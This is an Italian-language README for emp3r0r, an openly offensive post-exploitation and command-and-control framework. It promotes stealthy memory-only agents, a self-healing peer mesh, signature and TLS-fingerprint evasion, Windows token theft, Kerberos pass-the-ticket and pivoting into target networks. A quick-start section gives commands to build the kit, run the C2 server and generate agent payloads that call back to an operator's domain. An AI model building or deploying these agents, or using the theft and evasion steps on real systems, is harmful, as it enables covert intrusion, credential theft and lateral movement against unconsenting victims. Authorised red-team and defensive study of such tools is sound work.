emp3r0r v4.15.0

emp3r0r

Un C2 self-healing, memory-only per Linux e Windows — agent che sopravvivono a link interrotti, non toccano mai il disco e si fanno strada tramite script attraverso l'API Win32.

Cos'è emp3r0r?

emp3r0r è un framework di post-exploitation e C2 progettato per ambienti Linux e Windows dove stealth e resilienza non sono opzionali. Invece di assumere una connessione affidabile verso un singolo server, gli agent formano una mesh self-healing che continua a funzionare quando i link si interrompono. Invece di chiedere a target Python o PowerShell, eseguono tutto in memoria. E invece di limitarti ai trucchi di una sola piattaforma, emp3r0r esegue BOF Windows, oggetti Linux e script Starlark — tutto fileless, tutto in-process.

Punti Chiave e Caratteristiche Uniche

🐍 Agent Scriptabili (Motore Starlark Integrato e Proxy API Win32)

Ogni agent porta con sé il proprio motore di scripting, così puoi inserire nuova logica di post-exploitation senza compilare o distribuire binari.

• Gli script vengono eseguiti interamente in memoria — nessun Python, Bash o PowerShell richiesto sul target, e nessun interprete di comandi avviato.
• Un set completo di API integrate copre I/O su file, HTTP, esecuzione di comandi e altro, direttamente dal codice dello script.
• Su Windows, gli script possono chiamare direttamente funzioni Win32 native — l'agent fa da proxy direttamente nelle DLL di sistema.
• I moduli sono semplici file Starlark con un piccolo manifest JSON, quindi aggiungere i tuoi è facile e fileless.

Perché è importante: scrivere ed estendere le funzionalità dell'agent diventa semplice come modificare uno script, senza l'ingombro di rilasciare un interprete o un nuovo binario sul target.

🔐 TOFU Cryptographic Identity Pinning

Gli agent legano la propria identità a una chiave crittografica la prima volta che comunicano con te — e quel legame non cambia mai.

• La ri-registrazione con credenziali diverse viene trattata come un impostore e rifiutata.
• Rimuovere un agent è una decisione esplicita dell'operatore, non qualcosa che una chiave rubata può fare silenziosamente.

Perché è importante: session hijacking e clonazione degli agent semplicemente non accadono; ogni agent con cui parli è quello che hai registrato.

🔒 Perfect Forward Secrecy (PFS)

Ogni link C2 e peer utilizza chiavi ECDH effimere con chiavi di cifratura derivate dalla sessione.

Perché è importante: anche se una chiave a lungo termine viene compromessa in seguito, non può essere usata per decifrare il traffico già passato.

🕸️ Rete Mesh P2P Gossip Autonoma

Gli agent si scoprono a vicenda e inoltrano il traffico attraverso una mesh gossip, così l'operazione non collassa quando un link o un server scompare.

• I peer si connettono tramite mTLS 1.3 camuffato o UDP affidabile (KCP), con ogni hop cifrato.
• Il traffico aggira automaticamente i relay morti — nessun intervento manuale sui proxy a metà operazione.
• I segmenti senza accesso diretto al C2 restano comunque raggiungibili attraverso i loro vicini.

Perché è importante: la rete fa il pivoting per te. Taglia un link, perdi una macchina o blocca il C2 — gli agent si riorganizzano da soli.

📂 Filesystem P2P

I file si spostano direttamente tra gli agent, non solo attraverso il C2.

• I trasferimenti viaggiano su tunnel peer-to-peer cifrati, così le reti interne non diventano un collo di bottiglia sul tuo server.
• I file vengono memorizzati nella memoria dell'agent come blob cifrati e serviti ai peer su richiesta.
• Se nessun peer ha un file, l'agent lo recupera automaticamente dal C2.

Perché è importante: la consegna è veloce e per lo più invisibile al canale C2 — ideale per ambienti con restrizioni di egress.

📡 Listener Multi-Protocollo e Stager Pluggabili

Ottenere un agent dentro è trattato con la stessa serietà del mantenerlo vivo.

• Listener HTTP, TCP e UDP con framing affidabile e profili HTTP personalizzabili.
• Uno stager di circa 2KB costruito su syscall Linux dirette — niente libc, niente toolchain sul target.
• Trasporti stager pluggabili e packer auto-estraenti ti permettono di mimetizzare l'accesso iniziale in qualunque canale il tuo target consenta, e di sconfiggere il matching di firme statiche lungo il percorso.
• Il codice dello stage e dell'agent rispetta la disciplina read/write/execute — mai RWX.

Perché è importante: un accesso iniziale piccolo, adattabile e memory-hygienic significa che puoi atterrare su host che altrimenti sarebbero fuori portata.

🧩 Supporto Nativo Cross-Platform BOF e PICO (COFF, ELF e PICO)

Esegui moduli C compilati in-process su entrambe le piattaforme:

• Binari Windows COFF/BOF con packing di argomenti tipizzato.
• Oggetti rilocabili Linux ELF caricati direttamente nella memoria dell'agent.
• Moduli Crystal-Kit PICO con callstack spoofing SilentMoonwalk.
• Kerbeus-BOF, Remote-OPs e una suite di Situational Awareness pronti all'uso.

Perché è importante: i BOF valgono quanto il loro loader — emp3r0r li esegue in-process senza nuovi processi e senza tracce lasciate, sia su Linux che su Windows.

🔑 Token Windows, Sessioni Netonly e Ticket Kerberos (PTT)

Una volta su un host Windows, emp3r0r ti permette di diventare gli utenti presenti — senza mai rilasciare uno strumento.

• Ruba un access token da qualsiasi processo in esecuzione e usalo ovunque: moduli Go, Starlark, BOF.
• Crea sessioni netonly usa e getta con il flag --user di un modulo: mantengono l'identità del tuo agent e prendono in prestito quella dell'utente target solo per l'accesso in uscita — qualsiasi password funziona, nulla viene mai validato.
• Importa ticket Kerberos con il flag --ticket per il pass-the-ticket completo: la tua identità di rete diventa quella del ticket (ad esempio, il Domain Admin) mentre la tua identità locale non cambia mai.
• Ogni modulo token-aware accetta --token, --user e --ticket, quindi cambiare identità è a un flag di distanza — inclusa la creazione di una sessione e il caricamento di un ticket in un singolo comando.
• I ticket vivono per sessione di logon, quindi il materiale DA resta in quarantena in una sessione usa e getta che puoi eliminare, e il processo dell'agent stesso resta pulito.

Perché è importante: il movimento laterale verso macchine che non eseguono alcun agent — condivisioni SMB, controllo dei servizi, CIFS — diventa una parte normale del tuo flusso di lavoro, autenticato come l'utente che hai preso in prestito, non come uno strumento su disco.

🧦 Pivoting SOCKS5 e tun2socks lato Operatore

Fai pivoting senza bruciare un altro implant: il C2 esegue un proxy SOCKS5 che inoltra attraverso l'agent che selezioni, e il lato operatore può spingersi oltre con un dispositivo TUN trasparente.

• socks_start 1080 ti fornisce un endpoint SOCKS5 sul C2 che tunnelizza attraverso l'agent scelto — punta proxychains o qualsiasi strumento verso di esso e sei dentro la rete target.
• tun2socks start --route 10.10.0.0/24 crea un dispositivo TUN che instrada solo le sottoreti che indichi attraverso quel proxy — tutto il resto continua a usare la tua connessione normale.
• Il risultato sembra originarsi dall'agent, senza configurazione proxy per singolo strumento.

Perché è importante: raggiungi intere reti lato agent in modo trasparente — fai curl verso un DC, usa qualsiasi strumento — con un egress che sembra provenire dalla rete target, non dalla tua macchina operatore.

🎭 Trasporto C2 Pluggabile, Evasione uTLS JA3 e Protocollo CBOR

• Scegli il polling HTTP in stile beacon o lo streaming HTTP/2 — entrambi con profili malleabili.
• Le impronte TLS sono randomizzate con uTLS, così il canale non si distingue nella telemetria di rete.
• Il traffico di controllo viaggia su un protocollo CBOR compatto — più piccolo, più veloce e più difficile da analizzare rispetto a JSON.

Perché è importante: il canale C2 è fatto per sembrare traffico ordinario e restare snello sul filo.

💾 Storage Cifrato Memory-First

• Le operazioni sui file dell'agent avvengono su un filesystem virtuale in memoria, cifrato con AES-GCM; i dati di grandi dimensioni finiscono su disco solo come blob cifrati senza header identificabili.
• Gli agent abilitati al P2P memorizzano nella cache ciò che recuperano e lo condividono con i peer, riducendo ulteriormente il traffico C2.

Perché è importante: anche il disco è considerato ostile — l'agent non conserva artefatti in chiaro da trovare.

Avvio Rapido

1. Installazione del Server C2

Compilare emp3r0r richiede Docker o Podman sull'host — nessuna toolchain Go locale.

git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py

L'installer compila tutto in un container usa e getta e prepara il kit operatore. Flag utili: --lightweight (solo Linux/Windows amd64, il più veloce), --targets OS/ARCH,..., --debug, --skip-build.

Avvia il server:

emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377

2. Configurazione della Macchina Operatore

tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py

Connettiti usando le credenziali WireGuard che il server ha stampato:

emp3r0r client --c2-port 13377 \
  --server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
  --operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
  --c2-host 1.2.3.4

3. Generazione dei Payload dell'Agent

Dentro la console operatore:

# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com

# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --direct-c2 --p2p-transport mtls

# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --p2p-transport mtls --peers 1.2.3.4

# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
  --p2p --p2p-transport smb

I nodi della mesh possono eseguire trasporti diversi. Ogni agent pubblicizza il trasporto e la porta su cui il suo relay è in ascolto, e i dialer usano sempre il trasporto pubblicizzato dal peer, così una mesh mista (ad esempio nodi Windows SMB insieme a nodi Linux mTLS) instrada attraverso un peer che condivide un trasporto utilizzabile invece di assumere che tutti eseguano il default locale. smb è accettato solo per payload Windows; kcp/mtls funzionano ovunque.

Documentazione e Risorse

• 📝 Security Policy: SECURITY.md
• 📜 Changelog: CHANGELOG.md
• 🛠️ Guida allo Sviluppo dei Moduli: core/modules/module_development_guide.md

Sostieni lo Sviluppo

Se emp3r0r si è dimostrato prezioso nella tua ricerca e nei tuoi test di sicurezza, considera di sostenere il suo sviluppo continuo tramite GitHub Sponsors.